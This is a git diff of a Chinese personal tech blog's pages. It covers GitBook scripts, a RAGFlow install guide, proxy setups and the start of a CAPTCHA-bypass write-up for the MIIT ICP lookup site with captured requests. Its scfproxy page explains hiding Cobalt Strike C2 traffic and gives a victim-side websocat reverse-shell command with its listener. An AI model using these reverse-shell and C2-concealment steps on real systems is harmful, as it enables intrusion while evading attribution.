git add .
$A = Get-Date;git commit -m "$A";
git push
+

或者 你可以这样

+
### cmd的用法
cd ./_book
git pull
git add .
git commit -m "%date:~0,4%-%date:~5,2%-%date:~8,2% %time:~0,2%: %time:~3,2%"
git push
+

更新脚本​

+

update.bat

+
@echo on
SET p=http://localhost:1082 && echo %p% && C:\Users\TZ\.gitbook\versions\3.2.3\node_modules\.bin\npm.cmd config set proxy "%p%" && npm config set https-proxy "%p%" && cd /d %~dp0 && attrib -h ./_book/.git && move ./_book/.git ./ && cd ./docs && book sm && cd ../ && python update.py && gitbook install && gitbook build && move .git ./_book/ && attrib +h ./_book/.git && cd ./_book && git config --global https.proxy "%p%" && git config --global https.proxy "%p%" && git pull && git add . && git commit -m "%date:~0,4%-%date:~5,2%-%date:~8,2% %time:~0,2%: %time:~3,2%" && git push && git config --global --unset http.proxy && git config --global --unset https.proxy && npm config delete proxy && npm config delete https-proxy
pause
+

常用插件介绍​

+

快速生成summary​

+
+

https://blog.csdn.net/weixin_34383618/article/details/91629912

+
+
npm install -g gitbook-summary
book sm
book sm -i node_modules,_book # 忽略 node_modules和_book目录
+

flexible-alerts 高级格式显示的提示块​

+
> [!type|style:xx|label:xx|icon:xx|className:xx|labelVisibility:xx|iconVisibility:xx]
> 内容部分
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
键允许的值说明
!typeNOTE,TIP,WARNING和DANGER警告级别设置
style以下值之一: callout(默认), flat警告样式,见图19的左右不同
label任何文字警告块的标题位置,即Note这个字段位置(不支持中文)
icone.g. 'fa fa-info-circle'一个有效的Font Awesome图标,那块小符号
classNameCSS类的名称指定css文件,用于指定外观
labelVisibility以下值之一:visible(默认),hidden标签是否可见
iconVisibility以下值之一:visible(默认),hidden图标是否可见
+

实例:

+
1. 这是简单的用法
> [!NOTE]
> 这是一个简单的Note类型的使用,所有的属性都是默认值。

---
2. 这是自定义属性的用法
> [!NOTE|style:flat|lable:Mylable|iconVisibility:hidden]
> "!type":`NOTE`、"style":`flat`、"lable":`自定义标签`、图标不可见
+

1、Note

+
+

[!NOTE] +这是一个简单的Note类型的使用,所有的属性都是默认值。

+
+

2、这是自定义属性的用法

+
+

[!NOTE|style:flat|lable:Mylable|iconVisibility:hidden] +"!type":NOTE、"style":flat、"lable":自定义标签、图标不可见

+
+

3、TIP

+
+

[!TIP]

+

TIPS

+
+

3、WARNING

+
+

[!Warning]

+

WARNING

+
+

4、DANGER

+
+

[!DANGER]

+

DANGER

+
+

更多查看​

+
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/工具分享/RAGFlow安装/index.html b/en/docs/个人知识库/工具分享/RAGFlow安装/index.html new file mode 100644 index 0000000..643dee0 --- /dev/null +++ b/en/docs/个人知识库/工具分享/RAGFlow安装/index.html @@ -0,0 +1,123 @@ + + + + + +RAGFlow 安装指南大纲 | wjlin0 + + + + + + + +

RAGFlow 安装指南大纲

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:37:48
+

1. 前言​

+

1.1 本文介绍​

+

本文会从 Windows、Linux 和 macOS 等不同操作系统环境下的安装进行详细介绍,涵盖各平台的不同安装步骤和配置要求。内容包括:

+
    +
  • **基础环境配置:**如何在各操作系统上准备安装环境(如依赖库、工具等)。
  • +
  • **RAGFlow 安装:**在 Windows、Linux 和 macOS 上的安装流程,包括手动安装与使用包管理工具的方式。
  • +
  • **容器化部署:**针对 K3s、Kubernetes(K8s)和 Docker 中的 RAGFlow 部署方式,详细说明容器化环境中的配置与运行步骤。 +
      +
    • K3s/k8s 部署: Kubernetes 集群部署方式
    • +
    • **Docker 部署:**基于 Docker 容器的快速部署方式,适合开发和测试环境。
    • +
    +
  • +
+

本文将帮助您根据不同的操作系统选择合适的安装方法,确保 RAGFlow 能在各种环境下顺利运行。

+

⚠️ 注意事项:如果你对GPU有需求,那么如果你在虚拟机linux中安装的,需要对显卡直通(其中 windows 环境下推荐 采用docker 安装,vmware workstation 是不支持直通的。)

+

1.2 RAGFlow 是什么?​

+

RAGFlow 是一款基于深度文档理解构建的开源 RAG(Retrieval-Augmented Generation)引擎。RAGFlow 可以为各种规模的企业及个人提供一套精简的 RAG 工作流程,结合大语言模型(LLM)针对用户各类不同的复杂格式数据提供可靠的问答以及有理有据的引用。

+

1.3 安装前的准备​

+

1.3.1 Windows​

+
    +
  • +

    软件安装

    +
      +
    • DOCKER:必须安装
    • +
    • NVIDIA:推荐安装,如果你的显卡算力比较好,那么强烈推荐安全。
    • +
    • OLLAMA:先安装显卡驱动后,再安装ollama
    • +
    +
  • +
  • +

    系统要求:如果你有显卡支持,那么内存和CPU可适当降低

    +
      +
    • +

      CPU >= 4 核

      +
    • +
    • +

      RAM >= 16 GB

      +
    • +
    • +

      Disk >= 50 GB

      +
    • +
    +
  • +
+

1.3.2 Linux​

+
    +
  • +

    软件安装

    +
      +
    • k3s / docker / k8s : 选择任意一种 安装
    • +
    • NVIDIA显卡驱动:选择你对应显卡驱动
    • +
    • OLLAMA:先安装显卡驱动后,再安装ollama
    • +
    +
  • +
  • +

    系统要求:如果你有显卡支持,那么内存和CPU可适当降低

    +
      +
    • +

      CPU >= 4 核

      +
    • +
    • +

      RAM >= 16 GB

      +
    • +
    • +

      Disk >= 50 GB

      +
    • +
    +
  • +
+

1.3.3 Macos​

+

由于m系列的芯片,不支持N卡所以相对应的可能要求较高

+
    +
  • +

    软件安装

    +
      +
    • DOCKER : 必须安装
    • +
    • OLLAMA:先安装显卡驱动后,再安装ollama
    • +
    +
  • +
  • +

    系统要求:如

    +
      +
    • +

      CPU >= 4 核

      +
    • +
    • +

      RAM >= 16 GB

      +
    • +
    • +

      Disk >= 50 GB

      +
    • +
    +
  • +
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/工具分享/代理类/使用go制作简易代理类/index.html b/en/docs/个人知识库/工具分享/代理类/使用go制作简易代理类/index.html new file mode 100644 index 0000000..17dcefe --- /dev/null +++ b/en/docs/个人知识库/工具分享/代理类/使用go制作简易代理类/index.html @@ -0,0 +1,20 @@ + + + + + +使用go制作简易代理类 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/en/docs/个人知识库/工具分享/代理类/使用云函数做代理/index.html b/en/docs/个人知识库/工具分享/代理类/使用云函数做代理/index.html new file mode 100644 index 0000000..60026de --- /dev/null +++ b/en/docs/个人知识库/工具分享/代理类/使用云函数做代理/index.html @@ -0,0 +1,183 @@ + + + + + +使用云函数做代理 | wjlin0 + + + + + + + +
作者修订时间
wjlin02024-01-12 00:01:36
+

使用云函数做代理

+

什么是云函数​

+

云函数 (Serverless Cloud Function,SCF) 是腾讯云为企业和开发者们提供的无服务器执行环境。无服务器并非真的没有服务器,而是说用户无需购买服务器,无需关心服务器 CPU、内存、网络配置、资源维护、代码部署、弹性伸缩、负载均衡、安全升级、资源运行情况监控等,也就是说不用专门安排人力 做这些,只需专注于代码编写并上传即可。很大程度上降低了研发门槛,提升业务构建效率

+

基于的工具​

+ +

HTTP 代理​

+

原理和实现​

+

这是最为简单的利用方式。主要原理在于:

+
    +
  1. 云函数可利用 API 网关触发器进行触发,接受来自客户端的数据
  2. +
  3. 可以对外发包,类似于一个 SSRF
  4. +
+

因此一个 HTTP Proxy 的实现思路就很简单了。客户端挂上代理发送数据包,HTTP 代理服务器拦截数据包,提取 HTTP 报文相关信息,然后将报文以某种形式 POST 到云函数进行解析,云函数根据解析到的信息对目标发起请求,最终将结果一层一层返回。

+

流程如图所示:

+

image-20221223141456899

+

部署​

+
scfproxy deploy http -p provider_list -r region_list
+

provider_list 与 region_list 传入的参数列表以 , 分隔。

+

region_list 支持如下 4 种形式(在所有 deploy 及 clear 命令上都支持)

+
    +
  • * 表示所有区域
  • +
  • area-* 表示该 area 区域支持的所有地区
  • +
  • are-num 表示该 area 区域支持的前 num 个地区(代码硬编码顺序返回)
  • +
  • 标准形式,即云厂商所提供的标准 region 形式
  • +
+

对于提供多个 provider 的情况下,将对每个 provider 进行上述 region 形式的解析与查找,不存在的 region 将被忽略

+

例子:

+
scfproxy deploy http -p alibaba,tencent -r ap-1,eu-*,cn-shanghai
+

通过 scfproxy list -p alibaba,tencent 可以查看到所有的 region,上面这条命令的执行结果为

+
    +
  1. 在 alibaba 上部署 ap-northeast-1, eu-central-1, eu-west-1, cn-shanghai 区域的 http 代理
  2. +
  3. 在 tencent 上部署 ap-beijing 区域的 http 代理
  4. +
+

运行​

+
scfproxy http -l port [-c cert_path] [-k key_path]
+

首次运行会在 ~/.confg/scfproxy/cert 目录生成 scfproxy.cer 及 scfproxy.key 证书,需要将其导入系统证书并信任才可以代理 https 请求。

+

清理​

+
scfproxy clear http -p provider_list -r region_list [--completely]
+

清理功能默认只会删除触发器,如需同时删除函数,需添加 -e/--completely 参数

+

例子​

+
+

本次案例使用的是阿里云

+
+

获取key​

+ +

image-20221223134859998

+

首次运行​

+

配置 云的key,这里演示的是阿里云

+
scfproxy && vim /root/.config/scfproxy/sdk.toml
+

image-20221222221832761

+

部署 http api​

+
./scfproxy deploy http -p alibaba -r eu-*
+

image-20221222221636085

+

查看部署是否成功

+
./scfproxy list http
+

image-20221222221709180

+

运行​

+
./scfproxy http -l 0.0.0.0:1234
+

image-20221222222024780

+

注意:若有自己常用的证书可以指定证书路径

+
./scfproxy http -l 0.0.0.0:1234 -c /root/backer/ssl/proxy.wjlin0.com.cer -k /root/backer/ssl/proxy.wjlin0.com.key
+

image-20221222223511647

+

安装证书​

+

双击证书 -> 安装证书

+

image-20221223135148342

+

验证​

+

配置SwitchyOmega

+

image-20221223140912091

+

访问 https://ifconfig.me/

+

image-20221223135852257

+

清理​

+
./scfproxy list http
./scfproxy clear http -p alibaba -r eu-* && ./scfproxy clear http -p alibaba -r eu-* --completely
./scfproxy list http
+

image-20221223140334555

+

SOCKS5 代理​

+

原理和实现​

+

正常 SOCKS5 代理请求的流程为服务端监听来自客户端的事件,每当客户端发起一个新的连接,服务端生成一个 socket A,并从数据包中解析出目标服务器的地址和端口,在本地对目标发起一个 socket 连接 B,同步两个 socket 的 IO 操作。

+

SOCKS5主要分为下面3个步骤:

+

1.认证:对客户端发起的连接进行认证

+

2.建立连接:从客户端发起的连接中读取数据,获得目标服务器地址,并建立连接

+

3.转发数据:分别将来自客户端、服务器的数据转发给对方

+

使用云函数建立连接的方式,我们需要的不再是对外主动发起连接,而是监听一个端口,等待云函数发 起连接,为了让云函数发起连接,我们需要主动对云函数的API网关发起请求,触发云函数的执行,并将 目标服务器信息附在POST数据包中。相关的流程图如下

+

img

+

部署​

+
scfproxy deploy socks -p provider_list -r region_list -a address [-k key] --auth [user:pass]
+

-a address 用于指定云函数回连的 vps 地址

+

-k key 用于连接后进行验证

+

--auth [user:pass] 用于指定 socks 认证信息,默认无认证

+

运行​

+
scfproxy socks -l socks_port -s scf_port -k key
+

-l socks_port 监听 socks_port,等待用户的 socks5 连接

+

-s scf_port 监听 scf_port,等待来自云函数的连接,需要部署命令中 address 参数的端口一致

+

-k key 用于验证,需与部署命令中的 key 对应

+

清理​

+
scfproxy clear socks -p provider_list -r region_list [--completely]
+

因为 socks 代理创建的为 1m 的定时触发器,且函数超时时间较长为避免不必要的浪费,建议在监听到来自云函数的连接后清理触发器,在使用完毕后使用 -e 参数彻底清理函数。

+

例子​

+

获取key​

+ +

image-20221223134859998

+

首次运行​

+

配置 云的key,这里演示的是阿里云

+
scfproxy && vim /root/.config/scfproxy/sdk.toml
+

image-20221222221832761

+

部署 socks api​

+
# 有点慢,耐心等一分钟
./scfproxy deploy socks -p alibaba -r eu-* -a 119.13.81.145:12345 -k abc12345
+

image-20221222225408223

+

验证是否创建成功

+
./scfproxy list socks
+

+

运行​

+
./scfproxy socks -l 1234 -s 12345 -k abc12345
+

image-20221222225645289

+

安装证书​

+

双击证书 -> 安装证书

+

image-20221223135148342

+

验证​

+

配置SwitchyOmega

+

image-20221223140744276

+

访问https://ifconfig.me/

+

image-20221223140831662

+

清理​

+
./scfproxy list socks
./scfproxy clear socks -p alibaba -r eu-* && ./scfproxy clear socks -p alibaba -r eu-* --completely
./scfproxy list socks
+

image-20221222225738880

+

反向代理​

+

部署​

+
scfproxy deploy reverse -p provider_list -r region_list -o origin [--ip ip_list]
+

-o origin 用于指定需要用于反向代理的回源地址,可接受 HTTP 及 Websocket 协议。

+

--ip ip_list 用于限制访问来源,只有 ip_list 中的 ip 才能访问部署返回的反向代理网关地址。

+

使用场景​

+

基于反向代理可有如下使用方法,

+

C2 隐藏​

+

以 cobaltstrike 为例,只需将 api 的域名填入 listener 的 host

+
scfproxy deploy reverse ... -o http://vps --ip victim
+

cs.png

+

反弹 shell 地址隐藏​

+

借助 websocat 工具可实现反弹 shell 的功能。

+
scfproxy deploy reverse ... -o ws://vps --ip victim
+

受害者端执行:

+
websocat ws://reverse_proxy_address  sh-c:'/bin/bash -i 2>&1' --binary -v --compress-zlib
+

攻击者 vps 执行:

+
websocat ws-l:0.0.0.0:port - --binary -E --uncompress-zlib
+

效果如图: reverse_shell.png

+

内网穿透地址隐藏​

+

该使用场景需要支持 websocket 协议的内网穿透软件。

+
scfproxy deploy reverse ... -o ws://vps --ip victim
+

以 frp 代理 SOCKS 为例,客户端配置:

+
[common]
server_addr = reverse_proxy_domain
server_port = 80
tls_enable = true
protocol = websocket

[plugin_sock5]
type = tcp
remote_port = 8080
plugin = socks5
use_encryption = true
use_compression = true
+

效果如图

+

frp

+

清理​

+
scfproxy clear http -p provider_list -r region_list -o origin
+

与 HTTP 及 SOCKS 代理不同,反向代理没有 --completely 参数,但需要指定 origin 参数用于定位需要删除的服务

+

参考​

+
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/工具分享/代理类/基于cloudflare搭建trojan代理/index.html b/en/docs/个人知识库/工具分享/代理类/基于cloudflare搭建trojan代理/index.html new file mode 100644 index 0000000..6ea51e3 --- /dev/null +++ b/en/docs/个人知识库/工具分享/代理类/基于cloudflare搭建trojan代理/index.html @@ -0,0 +1,32 @@ + + + + + +基于cloudflare搭建trojan代理 | wjlin0 + + + + + + + +
作者修订时间
wjlin02024-10-21 11:18:21
+

基于cloudflare搭建trojan代理

+
+

本文主要介绍如何基于cloudflare搭建trojan代理

+
+

前沿​

+

之前再做渗透的时候,有这么一个奇葩的需求,就是出口IP要主够多,而且要能够知道IP范围.

+

虽然之前可以通过云函数来实现,但是现在那个东西收费了,而且不能科学上网,所以就想到了cloudflare,cloudflare的CDN节点遍布全球,而且可以通过API来获取节点的IP地址,所以就想到了用cloudflare来搭建trojan代理,这样就可以实现IP多,而且可以知道IP范围的需求了。

+

准备​

+
    +
  • +

    免费申请的域名(没被GFW墙了)

    +
  • +
  • +

    cloudflare账号

    +
  • +
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/工具分享/代理类/基于vless的科学上网-自动化/index.html b/en/docs/个人知识库/工具分享/代理类/基于vless的科学上网-自动化/index.html new file mode 100644 index 0000000..0a2b160 --- /dev/null +++ b/en/docs/个人知识库/工具分享/代理类/基于vless的科学上网-自动化/index.html @@ -0,0 +1,62 @@ + + + + + +基于vless的科学上网-自动化 | wjlin0 + + + + + + + +
作者修订时间
wjlin02024-01-12 00:01:36
+

基于vless的科学上网 - 自动化

+

前沿​

+
+

这一篇文章是根据 基于vless的科学上网 的 拓展 ,如果你没看过也没关系 看这一篇也足够了

+
+

准备​

+
    +
  • (ubuntu、centos都可以) vps、域名 (如果有多台vps的话,更换域名后,运行即可多台的节点都可以添加上)
  • +
  • 一个github仓库(公开的,非公开的库访问困难,根据github的API可以访问私库,不过得配置http请求头,所以不支持的客户端是访问不到的),一个github的 token
  • +
+

创建github仓库​

+

建立仓库,点击new​

+

image-20230128193042426

+

填好名字,并点击 Create repository​

+

image-20230128193352389

+

创建成功自动跳转,代表你成功了​

+

image-20230128193444435

+

创建token​

+

setting -> Developer settings​

+

image-20230128193751302

+

创建经典的token 不会过期​

+

image-20230128194009339

+

填好,创建就行了​

+

image-20230128194306255

+

image-20230128194324721

+

命令​

+
# 建立主目录,并进入目录
mkdir /proxy && cd /proxy
# 建立配置文件, 并导入证书 域名.key、域名.crt 至 ./conf/ssl/
# 复制域名证书内容至文件中
mkdir ./conf/ssl -p
+
+

导入脚本文件,填写相关参数 start.py -> start.py

+

运行,根据 提示排错 第一次安装会有点慢

+
+

python3 start.py

+

运行成功的画面​

+

image-20230126233017504

+
+

然后导入订阅链接即可

+
+

不用了,删除​

+
# 进入到目录中
cd /proxy
# 停掉docker容器
docker-compose down
# 删除整个目录
rm /proxy -rf
+

客户端选择​

+
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/工具分享/代理类/基于vless的科学上网/index.html b/en/docs/个人知识库/工具分享/代理类/基于vless的科学上网/index.html new file mode 100644 index 0000000..e469c49 --- /dev/null +++ b/en/docs/个人知识库/工具分享/代理类/基于vless的科学上网/index.html @@ -0,0 +1,94 @@ + + + + + +基于vless的科学上网 | wjlin0 + + + + + + + +
作者修订时间
wjlin02024-01-12 00:01:36
+

基于xray的科学上网

+

前沿​

+

国内的很多东西都是阉割了的,为了学习还是需要懂得科学上网

+

准备工具​

+
    +
  • docker、docker-compose
  • +
  • (ubuntu、centos都可以) vps、域名
  • +
+

安装​

+
+

我已经把 docker 镜像制作好了,所以 很简单的只需要修改几个小地方就可以食用了

+
+

安装工具​

+

安装docker:

+

curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun

+

安装docker-compose:

+

curl -L https://get.daocloud.io/docker/compose/releases/download/v2.4.1/docker-compose-uname -s-uname -m > /usr/local/bin/docker-compose

+

docker开机自启动:

+
systemctl start docker && systemctl enable docker
+

配置配置文件​

+

新建文件夹​

+
+

新建文件夹后添加以下标题的文件 config.json、ssl(目录)、start.sh、web.conf

+
+
mkdir conf/
+

config.json​

+
+

xray的配置文件,将里面的id、证书名称替换成你的,其他的不需要动

+
+
{
"log": {


"loglevel": "warning"
},
"inbounds": [
{
"port": 443,
"protocol": "vless",
"settings": {
"clients": [
{
"id": "这里需要填写你的id",
"flow": "xtls-rprx-direct"
}
],
"decryption": "none",
"fallbacks": [
{
"dest": 60000,
"alpn": "",
"xver": 1
},
{
"dest": 60001,
"alpn": "h2",
"xver": 1
}
]
},
"streamSettings": {
"network": "tcp",
"security": "xtls",
"xtlsSettings": {
"minVersion": "1.2",
"certificates": [
{
"certificateFile": "/conf/ssl/这里需要填写你的证书公钥名称.crt",
"keyFile": "/conf/ssl/这里填写你的证书私钥名称.key"
}
]
}
},
"sniffing": {
"enabled": true,
"destOverride": [
"http",
"tls"
]
}
}
],
"outbounds": [
{
"protocol": "freedom"
}
]
}
+

注意:这里证书路径为/conf/ssl/exp.crt等

+

ssl(目录)​

+
+

在该目录下存放你的公私钥,大致如下图

+
+
ssl/exp.crt
ssl/exp.key
+

image-20221222233933291

+

start.sh​

+
+

启动脚本,可以不需要更改如下即可

+
+
#!/bin/bash
cp /conf/web.conf /etc/nginx/conf.d/ && \
service nginx restart && \
mv /var/www/html/index.nginx-debian.html /var/www/html/index.html && \
/data/xray/xray run -config /conf/config.json
+

web.conf​

+
+

将其中的域名替换成你的

+
+
server
{
listen 80;
listen [::]:80;
server_name 你的域名;
return 301 https://$http_host$request_uri;

access_log /dev/null;
error_log /dev/null;
}

server
{
listen 127.0.0.1:60000 proxy_protocol;
listen 127.0.0.1:60001 http2 proxy_protocol;
server_name 你的域名;
index index.html index.htm index.php default.php default.htm default.html;
root /var/www/html;
add_header Strict-Transport-Security "max-age=63072000" always;

location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$
{
expires 30d;
error_log off;
}

location ~ .*\.(js|css)?$
{
expires 12h;
error_log off;
}
}
+

配置完成后大致为​

+

image-20221222232309364

+

制作docker-compose 启动文件​

+
+

docker-compose.yml 我这里启动了4个,如果你的vps内存空闲可以多启动即可,防止挂掉。

+

1001、1002、1003、1004 就是你设置的端口,可以按照你的习惯来

+
+
version: "3"
services:
xray1:
image: wjlin0/xray:v1
restart: always
hostname: xray
container_name: xray1
ports:
- "1001:443"
volumes:
- ./conf:/conf
command: ["/bin/bash","/conf/start.sh"]
xray2:
image: wjlin0/xray:v1
restart: always
hostname: xray
container_name: xray2
ports:
- "1002:443"
volumes:
- ./conf:/conf
command: ["/bin/bash","/conf/start.sh"]
xray3:
image: wjlin0/xray:v1
restart: always
hostname: xray
container_name: xray3
ports:
- "1003:443"
volumes:
- ./conf:/conf
command: ["/bin/bash","/conf/start.sh"]
xray4:
image: wjlin0/xray:v1
restart: always
hostname: xray
container_name: xray4
ports:
- "1004:443"
volumes:
- ./conf:/conf
command: ["/bin/bash","/conf/start.sh"]
+

启动​

+
+

在docker-compose.yml 目录下

+
+

image-20221222233527949

+
docker-compose up -d
+

image-20221222233609264

+

查看状态​

+
+

若出现下列图片中的情况则为启动成功了

+
+
docker-compose logs
+

image-20221222233803640

+

客户端选择​

+ +

订阅链接设置​

+
vless://你的ID@你的域名:你设置的端口?flow=xtls-rprx-direct&host=&security=xtls&sni=
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/工具分享/基于机器学习的ICP备案查询验证码识别技术研究/index.html b/en/docs/个人知识库/工具分享/基于机器学习的ICP备案查询验证码识别技术研究/index.html new file mode 100644 index 0000000..581a825 --- /dev/null +++ b/en/docs/个人知识库/工具分享/基于机器学习的ICP备案查询验证码识别技术研究/index.html @@ -0,0 +1,158 @@ + + + + + +基于机器学习的ICP备案查询验证码识别技术研究 | wjlin0 + + + + + + + +

基于机器学习的ICP备案查询验证码识别技术研究

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:38:37
+

(以 beian.miit.gov.cn 为例)

+

前沿​

+

在日常搞安全、爬数据的时候,大家肯定都遇到过一个老熟人 —— 验证码。它像一个看门大爷一样,挡在各种接口和网页前面,尤其是在查ICP备案信息这类官方数据时,验证码几乎成了“标配”。

+

但验证码虽烦,也不是不能搞。特别是图像类验证码,用点机器学习的小技巧,搞定它其实没那么复杂。

+

这篇文章就来分享一下我是怎么利用机器学习来识别ICP备案查询页面上的验证码的 —— 包括怎么采集数据、怎么训练模型、最后怎么把它跑起来。希望对也在折腾这块的小伙伴有点参考价值。

+

工信部的验证码​

+

要搞识别,第一步当然是先搞清楚“敌人”长啥样。

+

我们打开 ICP备案查询官网,随便点进“网站备案查询”这一栏,就能看到一个非常典型的验证码框。它用的是图形点选验证码,而且是中文的。具体长这样:

+

image-20250506094630093

+
    +
  • +

    验证码分上下两部分上面部分是文件在图片中,下面部分是提示

    +
  • +
  • +

    验证码提示:**请依次点击【因, 跑, 乡, 动】

    +
  • +
  • +

    你需要用鼠标按顺序点击那 4 个字,系统才能通过验证

    +
  • +
+

请求逻辑​

+

先进行一次简单的查询,并利用Burp抓包工具获取当次的流量

+

未命名

+

很明显这里进行了三次请求

+

image-20250506101225330

+

第一次请求,不难分析出是,获取了原始图片,bigImage和smallImage

+
POST /icpproject_query/api/image/getCheckImagePoint HTTP/1.1
Host: hlwicpfwc.miit.gov.cn
Cookie: __jsluid_s=691280173f5789603afe9cfef8e7fa8f
Content-Length: 58
Sec-Ch-Ua-Platform: "macOS"
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Sec-Ch-Ua: "Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"
Content-Type: application/json
Token: eyJ0eXBlIjoxLCJ1IjoiMDk4ZjZiY2Q0NjIxZDM3M2NhZGU0ZTgzMjYyN2I0ZjYiLCJzIjoxNzQ2NDk2MjE5ODM3LCJlIjoxNzQ2NDk2Njk5ODM3fQ.SPzNP8Gp4xyZA2zdmJ0Dhr8pYai_Xr2swMDRXkQLybQ
Sec-Ch-Ua-Mobile: ?0
Origin: https://beian.miit.gov.cn
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://beian.miit.gov.cn/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Priority: u=1, i
Connection: keep-alive

{"clientUid":"point-52334cbc-cbe6-4a39-9bab-362f28c5531d"}
+

响应结果(内容太多了,删掉了原始图片内容)

+
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 01:53:44 GMT
Content-Type: application/json
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: https://beian.miit.gov.cn
Access-Control-Expose-Headers: Access-Control-Allow-Origin, Access-Control-Allow-Credentials, rci
Access-Control-Allow-Credentials: true
Strict-Transport-Security: max-age=15724800; includeSubDomains
X-Via-JSL: 24061e4,-
X-Cache: bypass
Content-Length: 297048

{
"code": 200,
"msg": "操作成功",
"params": {
"bigImage": "xxxxxxx......",
"secretKey": "384sPbNakbrFsF1r",
"smallImage": "xxxxxxx......",
"uuid": "ca070c44c01b43668d4235efdc970ebc",
"wordCount": 4
},
"success": true
}
+

这两张图片其实就是 验证码的上下两部分

+

image-20250506101859338

+

第二次请求,很明显是点选完成了进行验证。

+
POST /icpproject_query/api/image/checkImage HTTP/1.1
Host: hlwicpfwc.miit.gov.cn
Cookie: __jsluid_s=691280173f5789603afe9cfef8e7fa8f
Content-Length: 255
Sec-Ch-Ua-Platform: "macOS"
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: application/json, text/plain, */*
Sec-Ch-Ua: "Google Chrome";v="135", "Not-A.Brand";v="8", "Chromium";v="135"
Content-Type: application/json
Token: eyJ0eXBlIjoxLCJ1IjoiMDk4ZjZiY2Q0NjIxZDM3M2NhZGU0ZTgzMjYyN2I0ZjYiLCJzIjoxNzQ2NDk2MjE5ODM3LCJlIjoxNzQ2NDk2Njk5ODM3fQ.SPzNP8Gp4xyZA2zdmJ0Dhr8pYai_Xr2swMDRXkQLybQ
Sec-Ch-Ua-Mobile: ?0
Origin: https://beian.miit.gov.cn
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://beian.miit.gov.cn/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Priority: u=1, i
Connection: keep-alive

{"token":"ca070c44c01b43668d4235efdc970ebc","secretKey":"384sPbNakbrFsF1r","clientUid":"point-52334cbc-cbe6-4a39-9bab-362f28c5531d","pointJson":"vRXxnZ1ujKsfNKB1AmvokXOxQwt1DMyQ9ZJyVLTkM6/9FW6R6EudYrEqGRoxFP+ugNRpqCu1S1hM2mzn4VbQyBAwpqCviXt8GV+57Jh6V3g="}
+

验证通过后会返回sign

+
HTTP/1.1 200 OK
Date: Tue, 06 May 2025 01:53:54 GMT
Content-Type: application/json
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: https://beian.miit.gov.cn
Access-Control-Expose-Headers: Access-Control-Allow-Origin, Access-Control-Allow-Credentials, rci
Access-Control-Allow-Credentials: true
Strict-Transport-Security: max-age=15724800; includeSubDomains
X-Via-JSL: 24061e4,-
X-Cache: bypass
Content-Length: 1113

{"code":200,"msg":"操作成功","params":{"sign":"eyJ0eXBlIjozLCJleHREYXRhIjp7InZhZnljb2RlX2ltYWdlX2tleSI6ImNhMDcwYzQ0YzAxYjQzNjY4ZDQyMzVlZmRjOTcwZWJjIn0sImUiOjE3NDY0OTY3MzQ3Mjd9.puSMuFYBv6rcSE7eTUCs_PLUobRSf8kQ76-XuZ40I_Y","smallImage":"iVBORw0KGgoAAAANSUhEUgAAAfQAAAAyCAYAAACqECmXAAACSElEQVR42u3dzWrrMBCA0bz/po+crgqlJJY0M5Kl5gTO4hbs4HDhi/XjPB5fzycAcDgfAgAIOgAg6ACAoAMAgg4Agg4ACDoAIOgAgKADgKADAIIOAAg6AHBf0H9es4/Z8Tp2fh8APjToV69ZQf99XPZVGdrK8wo6ANsHPRPVv8ftGvTq+Ao6AMuH3K/ik43q6LGzQ/jq/JEvNa3PRdABmB70d8PgVcPzPUPvOwW9530FHYB/EfRInCOBi4aw+pW9018xfQCAoDeDfhWeHReTCToAgj54F14Rpuqh6tVD+r1D9BbMATB9lXvrznL0jnhkId3dQc8GVdABOCbo0SHkE4M+GnpBB2CroPcErnquOfq+2Tn07Na1yFY/QQdgetBXLNQ6IeiR6xd0AI4LesXit7uG3O8M+l177QH4kFXurcj0BC/7DPjVQW9da+W+ekEHQNAFHQBBnxP0nr3rJwY9s3bg3TlGngvvPzAAoaBfzZu3olQR9JHV9TODXnFnLugAbB/01r+j29ZmBb1nv3tmhKB3Bf3M35YHQNBD8749QZ8xNF05n927Na5qiF7QAdhqDj276KsnnrOCnn2KXcWceuaLFQCCno559CdVI6GrCurVnf/V30evuyrmgg7A0qBXxWh10DOjBJkHzGS/4AAg6CVbrlpD1tFHxlacOztE3vsjMZk4j5xbzAE4Luijq8VnBD0b5uhohZgDsHxRHAAg6ACAoAOAoPsQAEDQAQBBBwAEHQAQdAAQdABA0AEAQQcABB0ABB0A2Mk3SUNFSvkMxFcAAAAASUVORK5CYII="},"success":true}
+

第三次请求,就是查询了,带着第二次请求的sign,进行请求

+
POST /icpproject_query/api/icpAbbreviateInfo/queryByCondition HTTP/1.1
Host: hlwicpfwc.miit.gov.cn
Cookie: __jsluid_s=691280173f5789603afe9cfef8e7fa8f
Content-Length: 67
Sec-Ch-Ua-Platform: "macOS"
